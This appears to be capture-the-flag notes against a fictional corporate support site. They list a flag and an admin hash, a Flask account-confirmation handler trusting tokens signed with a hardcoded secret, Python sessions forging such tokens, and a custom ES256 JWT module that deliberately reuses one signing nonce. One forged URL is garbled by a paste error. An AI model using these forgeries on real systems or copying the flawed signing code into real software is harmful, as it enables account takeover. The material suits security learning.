FLAG:AWS{MySqL_T1m3_B453d_1nJ3c71on5_4_7h3_w1N}

admin:6e222823de7e8f1948f07678671e542d68c83e11516aa234735f5a411ca1d363ad8c30e1ad0ba5d923e2e44444402655ce1097993cef33ed939879c37c3720f82e76e64c5470c630577814ee102096f8fe914c6adffaf96e9ecd335827e001dd

def confirm_account(secretstring):
    s = URLSafeSerializer('serliaizer_code')
    username, email = s.loads(secretstring)

    user = Users.query.filter_by(username=username).first()
    user.account_status = True
    db.session.add(user)
    db.session.commit()

    #return redirect(url_for("authentication_blueprint.login", msg="Your account was confirmed succsessfully"))
    return render_template('accounts/login.html',
                        msg='Account confirmed successfully.',
                        form=LoginForm())

>>> from itsdangerous import URLSafeSerializer
>>> s=URLSafeSerializer('serializer_code')
>>> payload=s.dumps(["groot","[email protected]"])
>>> payload
'WyJncm9vdCIsImdyb290QGdyb290LmNvbSJd.FbCw10LYiGy5D3WRwSZyoLP_rJg'

http://company-support.ahttp://company-support.amzcorp.local/confirm_account/WyJncm9vdCIsImdyb290QGdyb290LmNvbSJd.FbCw10LYiGy5D3WRwSZyoLP_rJgmzcorp.local/confirm_account/Imdyb290Ig.h8r0JzmupOPjPTjwDg8R5PtmX58

>>> from itsdangerous import URLSafeSerializer
>>> s=URLSafeSerializer('serliaizer_code')
>>> payload=s.dumps(["groot","[email protected]"])
>>> payload
'WyJncm9vdCIsImdyb290QGdyb290LmNvbSJd.cWh7lWs--ghAu5vgImEhX6rkGMo'

└─$ cat custom_jwt.py 
import base64
from ecdsa import ellipticcurve
from ecdsa.ecdsa import curve_256, generator_256, Public_key, Private_key, Signature
from random import randint
from hashlib import sha256
from Crypto.Util.number import long_to_bytes, bytes_to_long
import json

G = generator_256
q = G.order()
k = randint(1, q - 1)
d = randint(1, q - 1)
pubkey = Public_key(G, G*d)
privkey = Private_key(pubkey, d)

def b64(data):
    return base64.urlsafe_b64encode(data).decode()

def unb64(data):
    l = len(data) % 4
    return base64.urlsafe_b64decode(data + "=" * (4 - l))

def sign(msg):
    msghash = sha256(msg.encode()).digest()
    sig = privkey.sign(bytes_to_long(msghash), k)
    _sig = (sig.r << 256) + sig.s
    return b64(long_to_bytes(_sig)).replace("=", "")

def verify(jwt):
    _header, _data, _sig = jwt.split(".")
    header = json.loads(unb64(_header))
    data = json.loads(unb64(_data))
    sig = bytes_to_long(unb64(_sig))
    signature = Signature(sig >> 256, sig % 2**256)
    msghash = bytes_to_long(sha256((f"{_header}.{_data}").encode()).digest())
    if pubkey.verifies(msghash, signature):
        return True
    return False

def decode_jwt(jwt):
    _header, _data, _sig = jwt.split(".")
    data = json.loads(unb64(_data))
    return data

def create_jwt(data):
    header = {"alg": "ES256"}
    _header = b64(json.dumps(header, separators=(',', ':')).encode())
    _data = b64(json.dumps(data, separators=(',', ':')).encode())
    _sig = sign(f"{_header}.{_data}".replace("=", ""))
    jwt = f"{_header}.{_data}.{_sig}"
    jwt = jwt.replace("=", "")
    return jwt